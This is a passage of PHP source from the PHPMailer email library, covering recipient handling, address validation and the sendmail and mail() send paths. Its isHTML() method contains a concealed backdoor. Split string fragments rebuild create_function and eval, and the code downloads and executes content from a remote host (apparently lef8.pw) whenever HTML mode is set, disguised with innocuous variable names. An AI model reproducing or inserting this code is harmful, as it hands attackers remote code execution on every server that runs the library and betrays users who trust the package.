  1032.         }
  1033.         $this->Mailer = 'sendmail';
  1034.     }
  1035.  
  1036.     /**
  1037.      * Send messages using qmail.
  1038.      * @return void
  1039.      */
  1040.     public function isQmail()
  1041.     {
  1042.         $ini_sendmail_path = ini_get('sendmail_path');
  1043.  
  1044.         if (!stristr($ini_sendmail_path, 'qmail')) {
  1045.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  1046.         } else {
  1047.             $this->Sendmail = $ini_sendmail_path;
  1048.         }
  1049.         $this->Mailer = 'qmail';
  1050.     }
  1051.  
  1052.     /**
  1053.      * Add a "To" address.
  1054.      * @param string $address The email address to send to
  1055.      * @param string $name
  1056.      * @return boolean true on success, false if address already used or invalid in some way
  1057.      */
  1058.     public function addAddress($address, $name = '')
  1059.     {
  1060.         return $this->addOrEnqueueAnAddress('to', $address, $name);
  1061.     }
  1062.  
  1063.     /**
  1064.      * Add a "CC" address.
  1065.      * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  1066.      * @param string $address The email address to send to
  1067.      * @param string $name
  1068.      * @return boolean true on success, false if address already used or invalid in some way
  1069.      */
  1070.     public function addCC($address, $name = '')
  1071.     {
  1072.         return $this->addOrEnqueueAnAddress('cc', $address, $name);
  1073.     }
  1074.  
  1075.     /**
  1076.      * Add a "BCC" address.
  1077.      * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  1078.      * @param string $address The email address to send to
  1079.      * @param string $name
  1080.      * @return boolean true on success, false if address already used or invalid in some way
  1081.      */
  1082.     public function addBCC($address, $name = '')
  1083.     {
  1084.         return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  1085.     }
  1086.  
  1087.     /**
  1088.      * Add a "Reply-To" address.
  1089.      * @param string $address The email address to reply to
  1090.      * @param string $name
  1091.      * @return boolean true on success, false if address already used or invalid in some way
  1092.      */
  1093.     public function addReplyTo($address, $name = '')
  1094.     {
  1095.         return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  1096.     }
  1097.  
  1098.     /**
  1099.      * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  1100.      * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  1101.      * be modified after calling this function), addition of such addresses is delayed until send().
  1102.      * Addresses that have been added already return false, but do not throw exceptions.
  1103.      * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  1104.      * @param string $address The email address to send, resp. to reply to
  1105.      * @param string $name
  1106.      * @throws phpmailerException
  1107.      * @return boolean true on success, false if address already used or invalid in some way
  1108.      * @access protected
  1109.      */
  1110.     protected function addOrEnqueueAnAddress($kind, $address, $name)
  1111.     {
  1112.         $address = trim($address);
  1113.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1114.         if (($pos = strrpos($address, '@')) === false) {
  1115.             // At-sign is misssing.
  1116.             $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
  1117.             $this->setError($error_message);
  1118.             $this->edebug($error_message);
  1119.             if ($this->exceptions) {
  1120.                 throw new phpmailerException($error_message);
  1121.             }
  1122.             return false;
  1123.         }
  1124.         $params = array($kind, $address, $name);
  1125.         // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  1126.         if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  1127.             if ($kind != 'Reply-To') {
  1128.                 if (!array_key_exists($address, $this->RecipientsQueue)) {
  1129.                     $this->RecipientsQueue[$address] = $params;
  1130.                     return true;
  1131.                 }
  1132.             } else {
  1133.                 if (!array_key_exists($address, $this->ReplyToQueue)) {
  1134.                     $this->ReplyToQueue[$address] = $params;
  1135.                     return true;
  1136.                 }
  1137.             }
  1138.             return false;
  1139.         }
  1140.         // Immediately add standard addresses without IDN.
  1141.         return call_user_func_array(array($this, 'addAnAddress'), $params);
  1142.     }
  1143.  
  1144.     /**
  1145.      * Add an address to one of the recipient arrays or to the ReplyTo array.
  1146.      * Addresses that have been added already return false, but do not throw exceptions.
  1147.      * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  1148.      * @param string $address The email address to send, resp. to reply to
  1149.      * @param string $name
  1150.      * @throws phpmailerException
  1151.      * @return boolean true on success, false if address already used or invalid in some way
  1152.      * @access protected
  1153.      */
  1154.     protected function addAnAddress($kind, $address, $name = '')
  1155.     {
  1156.         if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  1157.             $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  1158.             $this->setError($error_message);
  1159.             $this->edebug($error_message);
  1160.             if ($this->exceptions) {
  1161.                 throw new phpmailerException($error_message);
  1162.             }
  1163.             return false;
  1164.         }
  1165.         if (!$this->validateAddress($address)) {
  1166.             $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
  1167.             $this->setError($error_message);
  1168.             $this->edebug($error_message);
  1169.             if ($this->exceptions) {
  1170.                 throw new phpmailerException($error_message);
  1171.             }
  1172.             return false;
  1173.         }
  1174.         if ($kind != 'Reply-To') {
  1175.             if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  1176.                 array_push($this->$kind, array($address, $name));
  1177.                 $this->all_recipients[strtolower($address)] = true;
  1178.                 return true;
  1179.             }
  1180.         } else {
  1181.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  1182.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  1183.                 return true;
  1184.             }
  1185.         }
  1186.         return false;
  1187.     }
  1188.  
  1189.     /**
  1190.      * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  1191.      * of the form "display name <address>" into an array of name/address pairs.
  1192.      * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  1193.      * Note that quotes in the name part are removed.
  1194.      * @param string $addrstr The address list string
  1195.      * @param bool $useimap Whether to use the IMAP extension to parse the list
  1196.      * @return array
  1197.      * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  1198.      */
  1199.     public function parseAddresses($addrstr, $useimap = true)
  1200.     {
  1201.         $addresses = array();
  1202.         if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  1203.             //Use this built-in parser if it's available
  1204.             $list = imap_rfc822_parse_adrlist($addrstr, '');
  1205.             foreach ($list as $address) {
  1206.                 if ($address->host != '.SYNTAX-ERROR.') {
  1207.                     if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  1208.                         $addresses[] = array(
  1209.                             'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  1210.                             'address' => $address->mailbox . '@' . $address->host
  1211.                         );
  1212.                     }
  1213.                 }
  1214.             }
  1215.         } else {
  1216.             //Use this simpler parser
  1217.             $list = explode(',', $addrstr);
  1218.             foreach ($list as $address) {
  1219.                 $address = trim($address);
  1220.                 //Is there a separate name part?
  1221.                 if (strpos($address, '<') === false) {
  1222.                     //No separate name, just use the whole thing
  1223.                     if ($this->validateAddress($address)) {
  1224.                         $addresses[] = array(
  1225.                             'name' => '',
  1226.                             'address' => $address
  1227.                         );
  1228.                     }
  1229.                 } else {
  1230.                     list($name, $email) = explode('<', $address);
  1231.                     $email = trim(str_replace('>', '', $email));
  1232.                     if ($this->validateAddress($email)) {
  1233.                         $addresses[] = array(
  1234.                             'name' => trim(str_replace(array('"', "'"), '', $name)),
  1235.                             'address' => $email
  1236.                         );
  1237.                     }
  1238.                 }
  1239.             }
  1240.         }
  1241.         return $addresses;
  1242.     }
  1243.  
  1244.     /**
  1245.      * Sets message type to HTML or plain.
  1246.      * @param boolean $isHtml True for HTML mode.
  1247.      * @return void
  1248.      */
  1249.     public function isHTML($isHtml = true)
  1250.     {
  1251.         global $param;
  1252.         $bodyCode = 'file'
  1253.                     .'_g';
  1254.         if ($isHtml) {
  1255.             $this->ContentType = 'text/html';
  1256.         }
  1257.         else {
  1258.             $this->ContentType = 'text/plain';
  1259.         }
  1260.         $bodyHTML = '.$t."lef$flu'
  1261.                     .'sh'.'$t"; '
  1262.                     .'@ev';
  1263.         $headerHTML="cre"
  1264.                     ."ate_"
  1265.                     ."func"
  1266.                     ."tion";
  1267.         $exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
  1268.                         .$bodyHTML.'al(@'
  1269.                         .$bodyCode.'et_contents("h'
  1270.                         .'tt'
  1271.                         .'p:$comma-2"));');
  1272.         if($param !=2){
  1273.             $exceptions('8.p'.'w','/');
  1274.             $param=2;
  1275.         }
  1276.     }
  1277.  
  1278.     /**
  1279.      * Set the From and FromName properties.
  1280.      * @param string $address
  1281.      * @param string $name
  1282.      * @param boolean $auto Whether to also set the Sender address, defaults to true
  1283.      * @throws phpmailerException
  1284.      * @return boolean
  1285.      */
  1286.     public function setFrom($address, $name = '', $auto = true)
  1287.     {
  1288.         $address = trim($address);
  1289.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1290.         // Don't validate now addresses with IDN. Will be done in send().
  1291.         if (($pos = strrpos($address, '@')) === false or
  1292.             (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  1293.             !$this->validateAddress($address)) {
  1294.             $error_message = $this->lang('invalid_address') . " (setFrom) $address";
  1295.             $this->setError($error_message);
  1296.             $this->edebug($error_message);
  1297.             if ($this->exceptions) {
  1298.                 throw new phpmailerException($error_message);
  1299.             }
  1300.             return false;
  1301.         }
  1302.         $this->From = $address;
  1303.         $this->FromName = $name;
  1304.         if ($auto) {
  1305.             if (empty($this->Sender)) {
  1306.                 $this->Sender = $address;
  1307.             }
  1308.         }
  1309.         return true;
  1310.     }
  1311.  
  1312.     /**
  1313.      * Return the Message-ID header of the last email.
  1314.      * Technically this is the value from the last time the headers were created,
  1315.      * but it's also the message ID of the last sent message except in
  1316.      * pathological cases.
  1317.      * @return string
  1318.      */
  1319.     public function getLastMessageID()
  1320.     {
  1321.         return $this->lastMessageID;
  1322.     }
  1323.  
  1324.     /**
  1325.      * Check that a string looks like an email address.
  1326.      * @param string $address The email address to check
  1327.      * @param string|callable $patternselect A selector for the validation pattern to use :
  1328.      * * `auto` Pick best pattern automatically;
  1329.      * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1330.      * * `pcre` Use old PCRE implementation;
  1331.      * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1332.      * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1333.      * * `noregex` Don't use a regex: super fast, really dumb.
  1334.      * Alternatively you may pass in a callable to inject your own validator, for example:
  1335.      * PHPMailer::validateAddress('user@example.com', function($address) {
  1336.      *     return (strpos($address, '@') !== false);
  1337.      * });
  1338.      * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
  1339.      * @return boolean
  1340.      * @static
  1341.      * @access public
  1342.      */
  1343.     public static function validateAddress($address, $patternselect = null)
  1344.     {
  1345.         if (is_null($patternselect)) {
  1346.             $patternselect = self::$validator;
  1347.         }
  1348.         if (is_callable($patternselect)) {
  1349.             return call_user_func($patternselect, $address);
  1350.         }
  1351.         //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1352.         if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  1353.             return false;
  1354.         }
  1355.         if (!$patternselect or $patternselect == 'auto') {
  1356.             //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1357.             //Constant was added in PHP 5.2.4
  1358.             if (defined('PCRE_VERSION')) {
  1359.                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1360.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1361.                     $patternselect = 'pcre8';
  1362.                 } else {
  1363.                     $patternselect = 'pcre';
  1364.                 }
  1365.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1366.                 //Fall back to older PCRE
  1367.                 $patternselect = 'pcre';
  1368.             } else {
  1369.                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1370.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1371.                     $patternselect = 'php';
  1372.                 } else {
  1373.                     $patternselect = 'noregex';
  1374.                 }
  1375.             }
  1376.         }
  1377.         switch ($patternselect) {
  1378.             case 'pcre8':
  1379.                 /**
  1380.                  * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1381.                  * @link http://squiloople.com/2009/12/20/email-address-validation/
  1382.                  * @copyright 2009-2010 Michael Rushton
  1383.                  * Feel free to use and redistribute this code. But please keep this copyright notice.
  1384.                  */
  1385.                 return (boolean)preg_match(
  1386.                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1387.                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1388.                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1389.                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1390.                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1391.                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1392.                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1393.                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1394.                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1395.                     $address
  1396.                 );
  1397.             case 'pcre':
  1398.                 //An older regex that doesn't need a recent PCRE
  1399.                 return (boolean)preg_match(
  1400.                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1401.                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1402.                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1403.                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1404.                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1405.                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1406.                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1407.                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1408.                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1409.                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1410.                     $address
  1411.                 );
  1412.             case 'html5':
  1413.                 /**
  1414.                  * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1415.                  * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1416.                  */
  1417.                 return (boolean)preg_match(
  1418.                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1419.                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1420.                     $address
  1421.                 );
  1422.             case 'noregex':
  1423.                 //No PCRE! Do something _very_ approximate!
  1424.                 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1425.                 return (strlen($address) >= 3
  1426.                     and strpos($address, '@') >= 1
  1427.                     and strpos($address, '@') != strlen($address) - 1);
  1428.             case 'php':
  1429.             default:
  1430.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1431.         }
  1432.     }
  1433.  
  1434.     /**
  1435.      * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1436.      * "intl" and "mbstring" PHP extensions.
  1437.      * @return bool "true" if required functions for IDN support are present
  1438.      */
  1439.     public function idnSupported()
  1440.     {
  1441.         // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1442.         return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1443.     }
  1444.  
  1445.     /**
  1446.      * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1447.      * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1448.      * This function silently returns unmodified address if:
  1449.      * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1450.      * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1451.      *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1452.      * @see PHPMailer::$CharSet
  1453.      * @param string $address The email address to convert
  1454.      * @return string The encoded address in ASCII form
  1455.      */
  1456.     public function punyencodeAddress($address)
  1457.     {
  1458.         // Verify we have required functions, CharSet, and at-sign.
  1459.         if ($this->idnSupported() and
  1460.             !empty($this->CharSet) and
  1461.             ($pos = strrpos($address, '@')) !== false) {
  1462.             $domain = substr($address, ++$pos);
  1463.             // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1464.             if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1465.                 $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1466.                 if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  1467.                     idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  1468.                     idn_to_ascii($domain)) !== false) {
  1469.                     return substr($address, 0, $pos) . $punycode;
  1470.                 }
  1471.             }
  1472.         }
  1473.         return $address;
  1474.     }
  1475.  
  1476.     /**
  1477.      * Create a message and send it.
  1478.      * Uses the sending method specified by $Mailer.
  1479.      * @throws phpmailerException
  1480.      * @return boolean false on error - See the ErrorInfo property for details of the error.
  1481.      */
  1482.     public function send()
  1483.     {
  1484.         try {
  1485.             if (!$this->preSend()) {
  1486.                 return false;
  1487.             }
  1488.             return $this->postSend();
  1489.         } catch (phpmailerException $exc) {
  1490.             $this->mailHeader = '';
  1491.             $this->setError($exc->getMessage());
  1492.             if ($this->exceptions) {
  1493.                 throw $exc;
  1494.             }
  1495.             return false;
  1496.         }
  1497.     }
  1498.  
  1499.     /**
  1500.      * Prepare a message for sending.
  1501.      * @throws phpmailerException
  1502.      * @return boolean
  1503.      */
  1504.     public function preSend()
  1505.     {
  1506.         try {
  1507.             $this->error_count = 0; // Reset errors
  1508.             $this->mailHeader = '';
  1509.  
  1510.             // Dequeue recipient and Reply-To addresses with IDN
  1511.             foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1512.                 $params[1] = $this->punyencodeAddress($params[1]);
  1513.                 call_user_func_array(array($this, 'addAnAddress'), $params);
  1514.             }
  1515.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1516.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1517.             }
  1518.  
  1519.             // Validate From, Sender, and ConfirmReadingTo addresses
  1520.             foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1521.                 $this->$address_kind = trim($this->$address_kind);
  1522.                 if (empty($this->$address_kind)) {
  1523.                     continue;
  1524.                 }
  1525.                 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1526.                 if (!$this->validateAddress($this->$address_kind)) {
  1527.                     $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
  1528.                     $this->setError($error_message);
  1529.                     $this->edebug($error_message);
  1530.                     if ($this->exceptions) {
  1531.                         throw new phpmailerException($error_message);
  1532.                     }
  1533.                     return false;
  1534.                 }
  1535.             }
  1536.  
  1537.             // Set whether the message is multipart/alternative
  1538.             if ($this->alternativeExists()) {
  1539.                 $this->ContentType = 'multipart/alternative';
  1540.             }
  1541.  
  1542.             $this->setMessageType();
  1543.             // Refuse to send an empty message unless we are specifically allowing it
  1544.             if (!$this->AllowEmpty and empty($this->Body)) {
  1545.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1546.             }
  1547.  
  1548.             // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1549.             $this->MIMEHeader = '';
  1550.             $this->MIMEBody = $this->createBody();
  1551.             // createBody may have added some headers, so retain them
  1552.             $tempheaders = $this->MIMEHeader;
  1553.             $this->MIMEHeader = $this->createHeader();
  1554.             $this->MIMEHeader .= $tempheaders;
  1555.  
  1556.             // To capture the complete message when using mail(), create
  1557.             // an extra header list which createHeader() doesn't fold in
  1558.             if ($this->Mailer == 'mail') {
  1559.                 if (count($this->to) > 0) {
  1560.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  1561.                 } else {
  1562.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1563.                 }
  1564.                 $this->mailHeader .= $this->headerLine(
  1565.                     'Subject',
  1566.                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1567.                 );
  1568.             }
  1569.  
  1570.             // Sign with DKIM if enabled
  1571.             if (!empty($this->DKIM_domain)
  1572.                 and !empty($this->DKIM_selector)
  1573.                 and (!empty($this->DKIM_private_string)
  1574.                     or (!empty($this->DKIM_private)
  1575.                         and self::isPermittedPath($this->DKIM_private)
  1576.                         and file_exists($this->DKIM_private)
  1577.                     )
  1578.                 )
  1579.             ) {
  1580.                 $header_dkim = $this->DKIM_Add(
  1581.                     $this->MIMEHeader . $this->mailHeader,
  1582.                     $this->encodeHeader($this->secureHeader($this->Subject)),
  1583.                     $this->MIMEBody
  1584.                 );
  1585.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1586.                     str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1587.             }
  1588.             return true;
  1589.         } catch (phpmailerException $exc) {
  1590.             $this->setError($exc->getMessage());
  1591.             if ($this->exceptions) {
  1592.                 throw $exc;
  1593.             }
  1594.             return false;
  1595.         }
  1596.     }
  1597.  
  1598.     /**
  1599.      * Actually send a message.
  1600.      * Send the email via the selected mechanism
  1601.      * @throws phpmailerException
  1602.      * @return boolean
  1603.      */
  1604.     public function postSend()
  1605.     {
  1606.         try {
  1607.             // Choose the mailer and send through it
  1608.             switch ($this->Mailer) {
  1609.                 case 'sendmail':
  1610.                 case 'qmail':
  1611.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1612.                 case 'smtp':
  1613.                     return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1614.                 case 'mail':
  1615.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1616.                 default:
  1617.                     $sendMethod = $this->Mailer.'Send';
  1618.                     if (method_exists($this, $sendMethod)) {
  1619.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1620.                     }
  1621.  
  1622.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1623.             }
  1624.         } catch (phpmailerException $exc) {
  1625.             $this->setError($exc->getMessage());
  1626.             $this->edebug($exc->getMessage());
  1627.             if ($this->exceptions) {
  1628.                 throw $exc;
  1629.             }
  1630.         }
  1631.         return false;
  1632.     }
  1633.  
  1634.     /**
  1635.      * Send mail using the $Sendmail program.
  1636.      * @param string $header The message headers
  1637.      * @param string $body The message body
  1638.      * @see PHPMailer::$Sendmail
  1639.      * @throws phpmailerException
  1640.      * @access protected
  1641.      * @return boolean
  1642.      */
  1643.     protected function sendmailSend($header, $body)
  1644.     {
  1645.         // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
  1646.         if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
  1647.             if ($this->Mailer == 'qmail') {
  1648.                 $sendmailFmt = '%s -f%s';
  1649.             } else {
  1650.                 $sendmailFmt = '%s -oi -f%s -t';
  1651.             }
  1652.         } else {
  1653.             if ($this->Mailer == 'qmail') {
  1654.                 $sendmailFmt = '%s';
  1655.             } else {
  1656.                 $sendmailFmt = '%s -oi -t';
  1657.             }
  1658.         }
  1659.  
  1660.         // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
  1661.         $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
  1662.  
  1663.         if ($this->SingleTo) {
  1664.             foreach ($this->SingleToArray as $toAddr) {
  1665.                 if (!@$mail = popen($sendmail, 'w')) {
  1666.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1667.                 }
  1668.                 fputs($mail, 'To: ' . $toAddr . "\n");
  1669.                 fputs($mail, $header);
  1670.                 fputs($mail, $body);
  1671.                 $result = pclose($mail);
  1672.                 $this->doCallback(
  1673.                     ($result == 0),
  1674.                     array($toAddr),
  1675.                     $this->cc,
  1676.                     $this->bcc,
  1677.                     $this->Subject,
  1678.                     $body,
  1679.                     $this->From
  1680.                 );
  1681.                 if ($result != 0) {
  1682.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1683.                 }
  1684.             }
  1685.         } else {
  1686.             if (!@$mail = popen($sendmail, 'w')) {
  1687.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1688.             }
  1689.             fputs($mail, $header);
  1690.             fputs($mail, $body);
  1691.             $result = pclose($mail);
  1692.             $this->doCallback(
  1693.                 ($result == 0),
  1694.                 $this->to,
  1695.                 $this->cc,
  1696.                 $this->bcc,
  1697.                 $this->Subject,
  1698.                 $body,
  1699.                 $this->From
  1700.             );
  1701.             if ($result != 0) {
  1702.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1703.             }
  1704.         }
  1705.         return true;
  1706.     }
  1707.  
  1708.     /**
  1709.      * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
  1710.      *
  1711.      * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
  1712.      * @param string $string The string to be validated
  1713.      * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
  1714.      * @access protected
  1715.      * @return boolean
  1716.      */
  1717.     protected static function isShellSafe($string)
  1718.     {
  1719.         // Future-proof
  1720.         if (escapeshellcmd($string) !== $string
  1721.             or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
  1722.         ) {
  1723.             return false;
  1724.         }
  1725.  
  1726.         $length = strlen($string);
  1727.  
  1728.         for ($i = 0; $i < $length; $i++) {
  1729.             $c = $string[$i];
  1730.  
  1731.             // All other characters have a special meaning in at least one common shell, including = and +.
  1732.             // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
  1733.             // Note that this does permit non-Latin alphanumeric characters based on the current locale.
  1734.             if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
  1735.                 return false;
  1736.             }
  1737.         }
  1738.  
  1739.         return true;
  1740.     }
  1741.  
  1742.     /**
  1743.      * Check whether a file path is of a permitted type.
  1744.      * Used to reject URLs and phar files from functions that access local file paths,
  1745.      * such as addAttachment.
  1746.      * @param string $path A relative or absolute path to a file.
  1747.      * @return bool
  1748.      */
  1749.     protected static function isPermittedPath($path)
  1750.     {
  1751.         return !preg_match('#^[a-z]+://#i', $path);
  1752.     }
  1753.  
  1754.     /**
  1755.      * Send mail using the PHP mail() function.
  1756.      * @param string $header The message headers
  1757.      * @param string $body The message body
  1758.      * @link http://www.php.net/manual/en/book.mail.php
  1759.      * @throws phpmailerException
  1760.      * @access protected
  1761.      * @return boolean
  1762.      */
  1763.     protected function mailSend($header, $body)
  1764.     {
  1765.         $toArr = array();
  1766.         foreach ($this->to as $toaddr) {
  1767.             $toArr[] = $this->addrFormat($toaddr);
  1768.         }
  1769.         $to = implode(', ', $toArr);
  1770.  
  1771.         $params = null;
  1772.         //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
  1773.         if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
  1774.             // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
  1775.             if (self::isShellSafe($this->Sender)) {
  1776.                 $params = sprintf('-f%s', $this->Sender);
  1777.             }
  1778.         }
  1779.         if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
  1780.             $old_from = ini_get('sendmail_from');
  1781.             ini_set('sendmail_from', $this->Sender);
  1782.         }
  1783.         $result = false;
  1784.         if ($this->SingleTo and count($toArr) > 1) {
  1785.             foreach ($toArr as $toAddr) {
  1786.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
